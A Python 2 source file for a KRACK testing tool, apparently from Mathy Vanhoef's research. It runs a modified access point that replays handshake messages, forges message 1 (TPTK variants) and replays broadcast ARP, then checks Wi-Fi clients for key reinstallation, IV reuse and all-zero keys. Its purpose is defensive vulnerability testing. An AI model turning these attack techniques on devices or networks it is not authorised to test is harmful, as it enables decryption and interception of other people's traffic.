krack-test-client.py 24 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598
  1. #!/usr/bin/env python2
  2. # Tests for key reinstallation vulnerabilities in Wi-Fi clients
  3. # Copyright (c) 2017, Mathy Vanhoef <Mathy.Vanhoef@cs.kuleuven.be>
  4. #
  5. # This code may be distributed under the terms of the BSD license.
  6. # See README for more details.
  7. import logging
  8. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  9. from scapy.all import *
  10. from libwifi import *
  11. import sys, socket, struct, time, subprocess, atexit, select
  12. from datetime import datetime
  13. from wpaspy import Ctrl
  14. # FIXME:
  15. # - If the client installs an all-zero key, we cannot reliably test the group key handshake
  16. # - We should test decryption using an all-zero key, and warn if this seems to succeed
  17. # Future work:
  18. # - Detect if the client reinstalls an all-zero encryption key (wpa_supplicant v2.4 and 2.5)
  19. # - Ability to test the group key handshake against specific clients only
  20. # - Individual test to see if the client accepts replayed broadcast traffic (without performing key reinstallation)
  21. # FIXME: We are repeating the "disable hw encryption" of FT tests
  22. USAGE = """{name} - Tool to test Key Reinstallation Attacks against clients
  23. To test wheter a client is vulnerable to Key Reinstallation Attack against
  24. the 4-way handshake or group key handshake, take the following steps:
  25. 1. Compile our modified hostapd instance. This only needs to be done once.
  26. cd ../hostapd
  27. cp defconfig .config
  28. make -j 2
  29. 2. The hardware encryption engine of some Wi-Fi NICs have bugs that interfere
  30. with our script. So disable hardware encryption by executing:
  31. cd ../krackattack/
  32. ./disable-hwcrypto.sh
  33. This only needs to be done once. It's recommended to reboot after executing
  34. this script. After plugging in your Wi-Fi NIC, use `systool -vm ath9k_htc`
  35. or similar to confirm the nohwcript/.. param has been set. We tested this
  36. script with an Intel Dual Band Wireless-AC 7260 and a TP-Link TL-WN722N.
  37. 3. Execute this script. Accepted parameters are:
  38. --group Test the group key handshake instead of the 4-way handshake
  39. --debug Show more debug messages
  40. --tptk See step 5 (forge Msg1/4 with replayed ANonce before Msg3/4)
  41. --tptk-rand See step 5 (forge Msg1/4 with random ANonce before Msg3/4)
  42. All other supplied arguments are passed on to hostapd.
  43. The only two commands you will normally have to execute are:
  44. {name}
  45. {name} --group
  46. The first one tests for key reinstallations in the 4-way handshake (see
  47. step 4), and the second tests one for key reinstallations in the group key
  48. handshake (see step 5).
  49. !! The default network name is testnetwork with password abcdefgh !!
  50. Note that you can change settings of the AP by modifying hostapd.conf.
  51. You will probably have to edit the line `interface=` to specify the
  52. correct Wi-Fi interface to use for the AP.
  53. 4. To test key reinstallations in the 4-way handshake, the script will keep
  54. sending encrypted message 3's to the client. To start the script execute:
  55. {name}
  56. Connect the the AP and the following tests will be performed automatically:
  57. 4a. The script monitors traffic sent by the client to see if the pairwise
  58. key is being reinstalled. To assure the client is sending enough frames,
  59. you can optionally ping the AP: ping 192.168.100.254 .
  60. If the client is vulnerable, the script will show something like:
  61. [19:02:37] 78:31:c1:c4:88:92: IV reuse detected (IV=1, seq=10). Client is vulnerable to pairwise key reinstallations in the 4-way handshake!
  62. If the client is patched, the script will show (this can take a minute):
  63. [18:58:11] 90:18:7c:6e:6b:20: client DOESN'T seem vulnerable to pairwise key reinstallation in the 4-way handshake.
  64. 4b. Once the client has requested an IP using DHCP, the script tests for
  65. reinstallations of the group key by sending broadcast ARP requests to the
  66. client using an already used (replayed) packet number (= IV). The client
  67. *must* request an IP using DHCP for this test to start.
  68. If the client is vulnerable, the script will show something like:
  69. [19:03:08] 78:31:c1:c4:88:92: Received 5 unique replies to replayed broadcast ARP requests. Client is vulnerable to group
  70. [19:03:08] key reinstallations in the 4-way handshake (or client accepts replayed broadcast frames)!
  71. If the client is patched, the script will show (this can take a minute):
  72. [19:03:08] 78:31:c1:c4:88:92: client DOESN'T seem vulnerable to group key reinstallation in the 4-way handshake handshake.
  73. Note that this scripts *indirectly* tests for reinstallations of the group
  74. key, by testing if replayed broadcast frames are accepted by the client.
  75. 5. Some supplicants (e.g. wpa_supplicant v2.6) are only vulnerable to pairwise
  76. key reinstallations in the 4-way handshake when a forged message 1 is
  77. injected before sending a retransmitted message 3. To test for this variant
  78. of the attack, you can execute:
  79. {name} --tptk # Inject message 1 with a replayed ANonce
  80. {name} --tptk-rand # Inject message 1 with a random ANonce
  81. Now follow the same steps as in step 4 to see if a supplicant is vulnerable.
  82. Try both these attack variants after running the normal tests of step 4.
  83. 6. To test key reinstallations in the group key handshake, the script will keep
  84. performing new group key handshakes using an identical (static) group key.
  85. The client *must* request an IP using DHCP for this test to start. To start
  86. the script execute:
  87. {name} --group
  88. Connect the the AP and all tests will be performed automatically. The
  89. working and output of the script is now similar as in step 4b.
  90. 7. Some final recommendations:
  91. 6a. Perform these tests in a room with little interference. A high amount
  92. of packet loss will make this script unreliable!
  93. 6b. Manually inspect network traffic to confirm the output of the script:
  94. - Use an extra Wi-Fi NIC in monitor mode to check pairwise key reinstalls
  95. by monitoring the IVs of frames sent by the client.
  96. - Capture traffic on the client to see if the replayed broadcast ARP
  97. requests are accepted or not.
  98. 6c. If the client being tested can use multiple Wi-Fi radios/NICs, test
  99. using a few different ones.
  100. """
  101. # After how many seconds a new message 3, or new group key message 1, is sent.
  102. # This value must match the one in `../src/ap/wpa_auth.c` (same variable name).
  103. HANDSHAKE_TRANSMIT_INTERVAL = 2
  104. #### Main Testing Code ####
  105. class ClientState():
  106. UNKNOWN, VULNERABLE, PATCHED = range(3)
  107. IDLE, STARTED, GOT_CANARY, FINISHED = range(4)
  108. def __init__(self, clientmac, test_group_hs=False, test_tptk=False):
  109. self.mac = clientmac
  110. self.TK = None
  111. self.vuln_4way = ClientState.UNKNOWN
  112. self.vuln_group = ClientState.UNKNOWN
  113. # FIXME: Separate variable for group handshake result?
  114. self.ivs = IvCollection()
  115. self.pairkey_sent_time_prev_iv = None
  116. self.pairkey_intervals_no_iv_reuse = 0
  117. self.pairkey_tptk = test_tptk
  118. self.groupkey_reset()
  119. self.groupkey_grouphs = test_group_hs
  120. def groupkey_reset(self):
  121. self.groupkey_state = ClientState.IDLE
  122. self.groupkey_prev_canary_time = 0
  123. self.groupkey_num_canaries = 0
  124. self.groupkey_requests_sent = 0
  125. self.groupkey_patched_intervals = -1 # -1 because the first broadcast ARP requests are still valid
  126. def start_grouphs_test():
  127. self.groupkey_reset()
  128. self.groupkey_grouphs = True
  129. # TODO: Put in libwifi?
  130. def get_encryption_key(self, hostapd_ctrl):
  131. if self.TK is None:
  132. # Clear old replies and messages from the hostapd control interface
  133. while hostapd_ctrl.pending():
  134. hostapd_ctrl.recv()
  135. # Contact our modified Hostapd instance to request the pairwise key
  136. response = hostapd_command(hostapd_ctrl, "GET_TK " + self.mac)
  137. if not "FAIL" in response:
  138. self.TK = response.strip().decode("hex")
  139. return self.TK
  140. # TODO: Put in libwifi?
  141. def decrypt(self, p, hostapd_ctrl):
  142. payload = get_ccmp_payload(p)
  143. llcsnap, packet = payload[:8], payload[8:]
  144. if payload.startswith("\xAA\xAA\x03\x00\x00\x00"):
  145. # On some kernels, the virtual interface associated to the real AP interface will return
  146. # frames where the payload is already decrypted (this happens when hardware decryption is
  147. # used). So if the payload seems decrypted, just extract the full plaintext from the frame.
  148. plaintext = payload
  149. else:
  150. key = self.get_encryption_key(hostapd_ctrl)
  151. plaintext = decrypt_ccmp(p, key)
  152. # If it still fails, try an all-zero key
  153. if not plaintext.startswith("\xAA\xAA\x03\x00\x00\x00"):
  154. plaintext = decrypt_ccmp(p, "\x00" * 16)
  155. return plaintext
  156. def track_used_iv(self, p):
  157. return self.ivs.track_used_iv(p)
  158. def is_iv_reused(self, p):
  159. return self.ivs.is_iv_reused(p)
  160. def check_pairwise_reinstall(self, p):
  161. """Inspect whether the IV is reused, or whether the client seem to be patched"""
  162. # If this is gaurenteed IV reuse (and not just a benign retransmission), mark the client as vulnerable
  163. if self.ivs.is_iv_reused(p):
  164. if self.vuln_4way != ClientState.VULNERABLE:
  165. iv = dot11_get_iv(p)
  166. seq = dot11_get_seqnum(p)
  167. log(INFO, ("%s: IV reuse detected (IV=%d, seq=%d). " +
  168. "Client is vulnerable to pairwise key reinstallations in the 4-way handshake!") % (self.mac, iv, seq), color="green")
  169. self.vuln_4way = ClientState.VULNERABLE
  170. # If it's a higher IV than all previous ones, try to check if the client seems patched
  171. elif self.vuln_4way == ClientState.UNKNOWN and self.ivs.is_new_iv(p):
  172. # Save how many intervals we received a data packet without IV reset. Use twice the
  173. # transmission interval of message 3, in case one message 3 is lost due to noise.
  174. if self.pairkey_sent_time_prev_iv is None:
  175. self.pairkey_sent_time_prev_iv = p.time
  176. elif self.pairkey_sent_time_prev_iv + 2 * HANDSHAKE_TRANSMIT_INTERVAL + 1 <= p.time:
  177. self.pairkey_intervals_no_iv_reuse += 1
  178. self.pairkey_sent_time_prev_iv = p.time
  179. log(DEBUG, "%s: no pairwise IV resets seem to have occured for one interval" % self.mac)
  180. # If during several intervals all IV reset attempts failed, the client is likely patched.
  181. # We wait for enough such intervals to occur, to avoid getting a wrong result.
  182. if self.pairkey_intervals_no_iv_reuse >= 5 and self.vuln_4way == ClientState.UNKNOWN:
  183. self.vuln_4way = ClientState.PATCHED
  184. # Be sure to clarify *which* type of attack failed (to remind user to test others attacks as well)
  185. msg = "%s: client DOESN'T seem vulnerable to pairwise key reinstallation in the 4-way handshake"
  186. if self.pairkey_tptk == KRAckAttackClient.TPTK_NONE:
  187. msg += " (using standard attack)"
  188. elif self.pairkey_tptk == KRAckAttackClient.TPTK_REPLAY:
  189. msg += " (using TPTK attack)"
  190. elif self.pairkey_tptk == KRAckAttackClient.TPTK_RAND:
  191. msg += " (using TPTK-RAND attack)"
  192. log(INFO, (msg + ".") % self.mac, color="green")
  193. def mark_allzero_key(self, p):
  194. if self.vuln_4way != ClientState.VULNERABLE:
  195. iv = dot11_get_iv(p)
  196. seq = dot11_get_seqnum(p)
  197. log(INFO, ("%s: usage of all-zero key detected (IV=%d, seq=%d). " +
  198. "Client is vulnerable to (re)installation of an all-zero key in the 4-way handshake!") % (self.mac, iv, seq), color="green")
  199. log(WARNING, "%s: !!! Other tests are unreliable due to all-zero key usage, please fix this first !!!" % self.mac)
  200. self.vuln_4way = ClientState.VULNERABLE
  201. def groupkey_handle_canary(self, p):
  202. """Handle replies to the replayed ARP broadcast request (which reuses an IV)"""
  203. # Must be testing this client, and must not be a benign retransmission
  204. if not self.groupkey_state in [ClientState.STARTED, ClientState.GOT_CANARY]: return
  205. if self.groupkey_prev_canary_time + 1 > p.time: return
  206. self.groupkey_num_canaries += 1
  207. log(DEBUG, "%s: received %d replies to the replayed broadcast ARP requests" % (self.mac, self.groupkey_num_canaries))
  208. # We wait for several replies before marking the client as vulnerable, because
  209. # the first few broadcast ARP requests still use a valid (not yet used) IV.
  210. if self.groupkey_num_canaries >= 5:
  211. assert self.vuln_group != ClientState.VULNERABLE
  212. log(INFO, "%s: Received %d unique replies to replayed broadcast ARP requests. Client is vulnerable to group" \
  213. % (self.mac, self.groupkey_num_canaries), color="green")
  214. log(INFO, " key reinstallations in the %s handshake (or client accepts replayed broadcast frames)!" \
  215. % ("group key" if self.groupkey_grouphs else "4-way"), color="green")
  216. self.vuln_group = ClientState.VULNERABLE
  217. self.groupkey_state = ClientState.FINISHED
  218. # Remember that we got a reply this interval (see groupkey_track_request to detect patched clients)
  219. else:
  220. self.groupkey_state = ClientState.GOT_CANARY
  221. self.groupkey_prev_canary_time = p.time
  222. def groupkey_track_request(self):
  223. """Track when we went broadcast ARP requests, and determine if a client seems patched"""
  224. if self.vuln_group != ClientState.UNKNOWN: return
  225. hstype = "group key" if self.groupkey_grouphs else "4-way"
  226. # Show a message when we started with testing the client
  227. if self.groupkey_state == ClientState.IDLE:
  228. log(STATUS, "%s: client has IP address -> testing for group key reinstallation in the %s handshake" % (self.mac, hstype))
  229. self.groupkey_state = ClientState.STARTED
  230. if self.groupkey_requests_sent == 4:
  231. # We sent four broadcast ARP requests, and got at least one got a reply. This indicates the client is vulnerable.
  232. if self.groupkey_state == ClientState.GOT_CANARY:
  233. log(DEBUG, "%s: got a reply to broadcast ARP during this interval" % self.mac)
  234. self.groupkey_state = ClientState.STARTED
  235. # We sent four broadcast ARP requests, and didn't get a reply to any. This indicates the client is patched.
  236. elif self.groupkey_state == ClientState.STARTED:
  237. self.groupkey_patched_intervals += 1
  238. log(DEBUG, "%s: no group IV resets seem to have occured for %d interval(s)" % (self.mac, self.groupkey_patched_intervals))
  239. self.groupkey_state = ClientState.STARTED
  240. self.groupkey_requests_sent = 0
  241. # If the client appears secure for several intervals (see above), it's likely patched
  242. if self.groupkey_patched_intervals >= 5 and self.vuln_group == ClientState.UNKNOWN:
  243. log(INFO, "%s: client DOESN'T seem vulnerable to group key reinstallation in the %s handshake." % (self.mac, hstype), color="green")
  244. self.vuln_group = ClientState.PATCHED
  245. self.groupkey_state = ClientState.FINISHED
  246. self.groupkey_requests_sent += 1
  247. log(DEBUG, "%s: sent %d broadcasts ARPs this interval" % (self.mac, self.groupkey_requests_sent))
  248. class KRAckAttackClient():
  249. TPTK_NONE, TPTK_REPLAY, TPTK_RAND = range(3)
  250. def __init__(self, interface):
  251. self.nic_iface = interface
  252. self.nic_mon = interface + "mon"
  253. self.test_grouphs = False
  254. self.test_tptk = KRAckAttackClient.TPTK_NONE
  255. try:
  256. self.apmac = scapy.arch.get_if_hwaddr(interface)
  257. except:
  258. log(ERROR, 'Failed to get MAC address of %s. Specify an existing interface in hostapd.conf at the line "interface=NAME".' % interface)
  259. raise
  260. self.sock_mon = None
  261. self.sock_eth = None
  262. self.hostapd = None
  263. self.hostapd_ctrl = None
  264. self.dhcp = None
  265. self.group_ip = None
  266. self.group_arp = None
  267. self.clients = dict()
  268. def reset_client_info(self, clientmac):
  269. if clientmac in self.dhcp.leases:
  270. self.dhcp.remove_client(clientmac)
  271. log(DEBUG, "%s: Removing client from DHCP leases" % clientmac)
  272. if clientmac in self.clients:
  273. del self.clients[clientmac]
  274. log(DEBUG, "%s: Removing ClientState object" % clientmac)
  275. def handle_replay(self, p):
  276. """Replayed frames (caused by a pairwise key reinstallation) are rejected by the kernel. This
  277. function processes these frames manually so we can still test reinstallations of the group key."""
  278. if not Dot11WEP in p: return
  279. # Reconstruct Ethernet header
  280. clientmac = p.addr2
  281. header = Ether(dst=self.apmac, src=clientmac)
  282. header.time = p.time
  283. # Decrypt the payload and obtain LLC/SNAP header and packet content
  284. client = self.clients[clientmac]
  285. plaintext = client.decrypt(p, self.hostapd_ctrl)
  286. llcsnap, packet = plaintext[:8], plaintext[8:]
  287. # Rebuild the full Ethernet packet
  288. if llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x06":
  289. decap = header/ARP(packet)
  290. elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x00":
  291. decap = header/IP(packet)
  292. elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x86\xdd":
  293. decap = header/IPv6(packet)
  294. #elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x88\x8e":
  295. # # EAPOL
  296. else:
  297. return
  298. # Now process the packet as if it were a valid (non-replayed) one
  299. self.process_eth_rx(decap)
  300. def handle_mon_rx(self):
  301. p = self.sock_mon.recv()
  302. if p == None: return
  303. if p.type == 1: return
  304. # Note: we cannot verify that the NIC is indeed reusing IVs when sending the broadcast
  305. # ARP requests, because it may override them in the firmware/hardware (some Atheros
  306. # Wi-Fi NICs do no properly reset the Tx group key IV when using hardware encryption).
  307. # The first bit in FCfield is set if the frames is "to-DS"
  308. clientmac, apmac = (p.addr1, p.addr2) if (p.FCfield & 2) != 0 else (p.addr2, p.addr1)
  309. if apmac != self.apmac: return None
  310. # Reset info about disconnected clients
  311. if Dot11Deauth in p or Dot11Disas in p:
  312. self.reset_client_info(clientmac)
  313. # Inspect encrypt frames for IV reuse & handle replayed frames rejected by the kernel
  314. elif p.addr1 == self.apmac and Dot11WEP in p:
  315. if not clientmac in self.clients:
  316. self.clients[clientmac] = ClientState(clientmac, test_group_hs=self.test_grouphs, test_tptk=self.test_tptk)
  317. client = self.clients[clientmac]
  318. iv = dot11_get_iv(p)
  319. log(DEBUG, "%s: transmitted data using IV=%d (seq=%d)" % (clientmac, iv, dot11_get_seqnum(p)))
  320. if decrypt_ccmp(p, "\x00" * 16).startswith("\xAA\xAA\x03\x00\x00\x00"):
  321. client.mark_allzero_key(p)
  322. if not self.test_grouphs:
  323. client.check_pairwise_reinstall(p)
  324. if client.is_iv_reused(p):
  325. self.handle_replay(p)
  326. client.track_used_iv(p)
  327. def process_eth_rx(self, p):
  328. self.dhcp.reply(p)
  329. self.group_arp.reply(p)
  330. clientmac = p[Ether].src
  331. if not clientmac in self.clients: return
  332. client = self.clients[clientmac]
  333. if ARP in p and p[ARP].pdst == self.group_ip:
  334. client.groupkey_handle_canary(p)
  335. def handle_eth_rx(self):
  336. p = self.sock_eth.recv()
  337. if p == None or not Ether in p: return
  338. self.process_eth_rx(p)
  339. def configure_interfaces(self):
  340. log(STATUS, "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script.")
  341. # 0. Some users may forget this otherwise
  342. subprocess.check_output(["rfkill", "unblock", "wifi"])
  343. # 1. Remove unused virtual interfaces to start from a clean state
  344. subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
  345. # 2. Configure monitor mode on interfaces
  346. subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
  347. # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
  348. # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
  349. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  350. time.sleep(0.5)
  351. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  352. subprocess.check_output(["ifconfig", self.nic_mon, "up"])
  353. def run(self, test_grouphs=False, test_tptk=False):
  354. self.configure_interfaces()
  355. # Open the patched hostapd instance that carries out tests and let it start
  356. log(STATUS, "Starting hostapd ...")
  357. self.hostapd = subprocess.Popen(["../hostapd/hostapd", "hostapd.conf"] + sys.argv[1:])
  358. time.sleep(1)
  359. try:
  360. self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface)
  361. self.hostapd_ctrl.attach()
  362. except:
  363. log(ERROR, "It seems hostapd did not start properly, please inspect its output.")
  364. log(ERROR, "Did you disable Wi-Fi in the network manager? Otherwise hostapd won't work.")
  365. raise
  366. self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
  367. self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)
  368. # Let scapy handle DHCP requests
  369. self.dhcp = DHCP_sock(sock=self.sock_eth,
  370. domain='krackattack.com',
  371. pool=Net('192.168.100.0/24'),
  372. network='192.168.100.0/24',
  373. gw='192.168.100.254',
  374. renewal_time=600, lease_time=3600)
  375. # Configure gateway IP: reply to ARP and ping requests
  376. subprocess.check_output(["ifconfig", self.nic_iface, "192.168.100.254"])
  377. # Use a dedicated IP address for our broadcast ARP requests and replies
  378. self.group_ip = self.dhcp.pool.pop()
  379. self.group_arp = ARP_sock(sock=self.sock_eth, IP_addr=self.group_ip, ARP_addr=self.apmac)
  380. # If applicable, inform hostapd that we are testing the group key handshake
  381. if test_grouphs:
  382. hostapd_command(self.hostapd_ctrl, "START_GROUP_TESTS")
  383. self.test_grouphs = True
  384. # If applicable, inform hostapd that we are testing for Temporal PTK (TPTK) construction behaviour
  385. self.test_tptk = test_tptk
  386. if self.test_tptk == KRAckAttackClient.TPTK_REPLAY:
  387. hostapd_command(self.hostapd_ctrl, "TEST_TPTK")
  388. elif self.test_tptk == KRAckAttackClient.TPTK_RAND:
  389. hostapd_command(self.hostapd_ctrl, "TEST_TPTK_RAND")
  390. log(STATUS, "Ready. Connect to this Access Point to start the tests. Make sure the client requests an IP using DHCP!", color="green")
  391. # Monitor both the normal interface and virtual monitor interface of the AP
  392. self.next_arp = time.time() + 1
  393. while True:
  394. sel = select.select([self.sock_mon, self.sock_eth], [], [], 1)
  395. if self.sock_mon in sel[0]: self.handle_mon_rx()
  396. if self.sock_eth in sel[0]: self.handle_eth_rx()
  397. # Periodically send the replayed broadcast ARP requests to test for group key reinstallations
  398. if time.time() > self.next_arp:
  399. self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL
  400. for client in self.clients.values():
  401. # Also keep injecting to PATCHED clients (just to be sure they keep rejecting replayed frames)
  402. if client.vuln_group != ClientState.VULNERABLE and client.mac in self.dhcp.leases:
  403. clientip = self.dhcp.leases[client.mac]
  404. client.groupkey_track_request()
  405. log(INFO, "%s: sending broadcast ARP to %s from %s" % (client.mac, clientip, self.group_ip))
  406. request = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, hwsrc=self.apmac, psrc=self.group_ip, pdst=clientip)
  407. self.sock_eth.send(request)
  408. def stop(self):
  409. log(STATUS, "Closing hostapd and cleaning up ...")
  410. if self.hostapd:
  411. self.hostapd.terminate()
  412. self.hostapd.wait()
  413. if self.sock_mon: self.sock_mon.close()
  414. if self.sock_eth: self.sock_eth.close()
  415. def cleanup():
  416. attack.stop()
  417. def argv_get_interface():
  418. for i in range(len(sys.argv)):
  419. if not sys.argv[i].startswith("-i"):
  420. continue
  421. if len(sys.argv[i]) > 2:
  422. return sys.argv[i][2:]
  423. else:
  424. return sys.argv[i + 1]
  425. return None
  426. def argv_pop_argument(argument):
  427. if not argument in sys.argv: return False
  428. idx = sys.argv.index(argument)
  429. del sys.argv[idx]
  430. return True
  431. def hostapd_read_config(config):
  432. # Read the config, get the interface name, and verify some settings.
  433. interface = None
  434. with open(config) as fp:
  435. for line in fp.readlines():
  436. line = line.strip()
  437. if line.startswith("interface="):
  438. interface = line.split('=')[1]
  439. elif line.startswith("wpa_pairwise=") or line.startswith("rsn_pairwise"):
  440. if "TKIP" in line:
  441. log(ERROR, "ERROR: We only support tests using CCMP. Only include CCMP in %s config at the following line:" % config)
  442. log(ERROR, " >%s<" % line, showtime=False)
  443. quit(1)
  444. # Parameter -i overrides interface in config.
  445. # FIXME: Display warning when multiple interfaces are used.
  446. if argv_get_interface() is not None:
  447. interface = argv_get_interface()
  448. return interface
  449. if __name__ == "__main__":
  450. if "--help" in sys.argv or "-h" in sys.argv:
  451. print USAGE.format(name=sys.argv[0])
  452. quit(1)
  453. test_grouphs = argv_pop_argument("--group")
  454. test_tptk_replay = argv_pop_argument("--tptk")
  455. test_tptk_rand = argv_pop_argument("--tptk-rand")
  456. while argv_pop_argument("--debug"):
  457. global_log_level -= 1
  458. test_tptk = KRAckAttackClient.TPTK_NONE
  459. if test_tptk_replay and test_tptk_rand:
  460. log(ERROR, "Please only specify --tptk or --tptk-rand")
  461. elif test_tptk_replay:
  462. test_tptk = KRAckAttackClient.TPTK_REPLAY
  463. elif test_tptk_rand:
  464. test_tptk = KRAckAttackClient.TPTK_RAND
  465. try:
  466. interface = hostapd_read_config("hostapd.conf")
  467. except Exception as ex:
  468. log(ERROR, "Failed to parse the hostapd.conf config file")
  469. raise
  470. if not interface:
  471. log(ERROR, 'Failed to determine wireless interface. Specify one in hostapd.conf at the line "interface=NAME".')
  472. quit(1)
  473. attack = KRAckAttackClient(interface)
  474. atexit.register(cleanup)
  475. attack.run(test_grouphs=test_grouphs, test_tptk=test_tptk)